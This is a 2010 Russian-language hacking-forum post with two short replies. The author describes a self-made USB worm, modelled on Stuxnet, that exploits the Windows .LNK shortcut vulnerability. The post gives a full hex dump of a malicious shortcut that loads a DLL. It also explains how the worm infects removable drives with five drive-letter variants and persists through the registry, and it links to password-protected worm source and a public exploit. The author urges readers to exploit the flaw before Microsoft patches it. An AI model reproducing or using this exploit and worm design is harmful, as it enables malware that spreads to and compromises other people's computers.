Эксплуатируем 0-day уязвимость в .LNK файлах

Тема в разделе "Статьи", создана пользователем chezzy, 3 авг 2010.

  1. chezzy
    chezzy Guest
    Эксплуатируем 0-day уязвимость в .LNK файлах

    Вступление

    10.07.2010 антивирусная компания VirusBlokAda (VBA) сообщила об обнаружении червя, позднее получившего название Stuxnet. Червяк использует сразу несколько крутых фишек, одна из которых: заражение usb-носителей через дыру в обработке .LNK файлов. При просмотре заражённого ярлыка в Проводнике или любом другом файловом мененджере автоматически запускается DLL, на которую этот самый ярлык ссылается.
    Позднее, 19.07.2010 в публичном доступе появился эксплойт, демонстрирующий использование этой уязвимости.
    После бессонной ночи, проведённой за изучением этого эксплойта и разбором формата .lnk, я сумел-таки написать собственного червя, распространяющегося аналогичным способом. Вот сейчас вы его и увидите ;)

    Кодим червя

    Алгоритм работы зверюшки предельно прост. Вирь постоянно сидит в памяти, и каждую минуту проверяет, не воткнули ли чего в комп. Как только в комп всё-таки что-нибудь засунут (я имею ввиду флешки и тому подобное), происходит заражение съёмного устройства. На флешке создаётся скрытая копия червя и пять волшебных ярлыков, эксплуатирующих нашу дыру.

    Вот как выглядит HEX-дамп одного из ярлыков:

    Код:
    4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00
    00 00 00 46 81 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 36 01 14 00
    1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30
    30 9D 14 00 2E 1E 20 20 EC 21 EA 3A 69 10 A2 DD
    08 00 2B 30 30 9D 0C 01 00 00 00 00 00 00 00 00
    00 00 00 6A 00 00 00 00 00 00 20 00 3A 00 43 00
    3A 00 5C 00 6E 00 74 00 72 00 2E 00 73 00 76 00
    63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 4D 00
    69 00 73 00 65 00 73 00 20 00 E0 00 20 00 6A 00
    6F 00 75 00 72 00 20 00 61 00 75 00 74 00 6F 00
    6D 00 61 00 74 00 69 00 71 00 75 00 65 00 73 00
    00 00 43 00 6F 00 6E 00 66 00 69 00 67 00 75 00
    72 00 65 00 72 00 20 00 57 00 69 00 6E 00 64 00
    6F 00 77 00 73 00 20 00 70 00 6F 00 75 00 72 00
    20 00 64 00 69 00 73 00 74 00 72 00 69 00 62 00
    75 00 65 00 72 00 20 00 61 00 75 00 74 00 6F 00
    6D 00 61 00 74 00 69 00 71 00 75 00 65 00 6D 00
    65 00 6E 00 74 00 20 00 6C 00 65 00 73 00 20 00
    6D 00 69 00 73 00 65 00 73 00 20 00 E0 00 20 00
    00 00 00 00 00 00 00 00
    Последовательность байт
    Код:
    43 00 3A 00 5C 00 6E 00 74 00 72 00 2E 00 73 00 76 00 63
    представляет собой путь к запускаемой DLL:
    Код:
    C : \ n t r . s v c
    Червь, используя шаблон, содаёт на флешке 5 ярлыков, в которых отличаются лишь буквы диска (C, D, E, F, G). Это необходимо, так как при открытии заражённой флешки на другом компе нельзя заранее знать, какая буква будет соответствовать нашему носителю.

    При старте виря с флешки на жёстком диске создаётся копия нашей DLL и файл RECYCLER.lnk, который к тому же записывается в реестр, для запуска после перезагрузки компа. На всякий случай ;) Хотя, вообще-то, можно реализовать принципиально новый способ автозагрузки: просто создать заражённый ярлык в Главном меню, или на Рабочем столе. Ни один эвристик не увидит в этом ничего подозрительного.

    Полный исходник червя
    Пароль на архив: 0-day-worm

    Червь тестировался на Windows XP SP3 и на Windows 7. На хрюше работает идеально, на семёрке - немного глючит, но в целом вполне удовлетворительно ;)

    Описание уязвимости:
    http://www.microsoft.com/technet/security/advisory/2286198.mspx
    http://www.securitylab.ru/vulnerability/395902.php

    Эксплойт, который я брал за основу:
    http://download.securitylab.ru/_download/exploits/2010/07/41732.rar

    Заключение

    Как видите, использовать данную уязвимость и создать червя, распространяющегося подобно Stuxnet'у, совсем не сложно. Учтите, что эта дыра затрагивает все версии винды, начиная от XP и заканчивая семёркой, а патч от Microsoft пока что не вышел, и, возможно, не выйдет раньше 10 августа. Так что тут есть где разгуляться!

    (c) ./joker
    source: xakepy.cc
     
    3 авг 2010
    2 пользователям это понравилось.
  2. EXploit
    EXploit Guest
    _http://microgeek.ru/blogs/windows/418/
     
    4 авг 2010
  3. Dr. MefistO
    Dr. MefistO Крывіч Глобальный модератор
    Симпатии:
    90
    Да, патч вышел уже. А антивирусы уже палят и ярлыки такие (прочитал в рассылке Dr. Web).
     
    4 авг 2010
Загрузка...